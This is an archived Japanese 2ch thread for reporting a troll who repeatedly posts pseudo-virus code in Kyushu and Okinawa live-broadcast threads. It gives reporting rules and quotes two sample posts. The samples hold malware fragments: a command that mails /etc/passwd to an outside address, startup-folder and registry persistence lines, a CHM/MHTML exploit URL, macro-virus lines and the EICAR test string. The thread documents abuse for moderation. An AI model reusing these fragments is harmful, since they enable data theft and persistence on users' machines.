★070404 番組ch(西日本)九州沖縄スレウイルス荒らし報告スレ
■ このスレッドは過去ログ倉庫に格納されています
番組ch(西日本)板の九州・沖縄各実況スレにおいて、
無意味な文章（ウイルスコード）を定期的に投稿している荒らしを報告するスレッドです。
◆報告の注意
・http://info.2ch.net/wiki/pukiwiki.php?%B9%D3%A4%E9%A4%B7%CA%F3%B9%F0
・書式を合わせて報告して下さい。フォーマットに沿っていないと原則スルーです。
◆書式
・最新の書式はwikiを確認してください。
http://info.2ch.net/wiki/pukiwiki.php?%B3%C6%B9%D3%A4%E9%A4%B7%CA%F3%B9%F0%A4%CE%BD%F1%BC%B0
・書式４を推奨します。
・時系列で報告して下さい。
・曜日表示は消して報告して下さい。
・報告１レスあたり、指定するURLは10個程度迄、それ以上は分割して下さい。
◆お役立ちツール
http://halcyan.30.kg/
http://houchi.net/2ch/adabuse.php
http://houchi.net/2ch/abuseresort.php
◆特徴
a) 投稿内容 擬似ウイルスコードのコピペ 投稿例>>2以降
b) 規模頻度 1res/thread
c) 爆撃範囲 番組ch(西日本)板の九州実況スレ・沖縄実況スレ
d) 継続性 2006年8月から現在も継続中
a) 投稿内容例
投稿内容例(1)
http://live22x.2ch.net/test/read.cgi/livewkwest/1156181616/12
12 <body onload=window()> cat /etc/passwd | mail nobody@nonexistent.com 2006/08/22(火) 02:39:49.24 ID:b2FGLOaB
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"; type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
※最後の一行はブラウザに悪影響を与えるため割愛（いわゆるシリア語ブラクラ）
投稿内容例(2)
http://live24.2ch.net/test/read.cgi/livewkwest/1173370229/2
2 LIVEの名無しさん 2007/03/09(金)01:10:50.53 ID:dDLPv6AX
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
※最後の一行はブラウザに悪影響を与えるため割愛（いわゆるシリア語ブラクラ） ■ このスレッドは過去ログ倉庫に格納されています
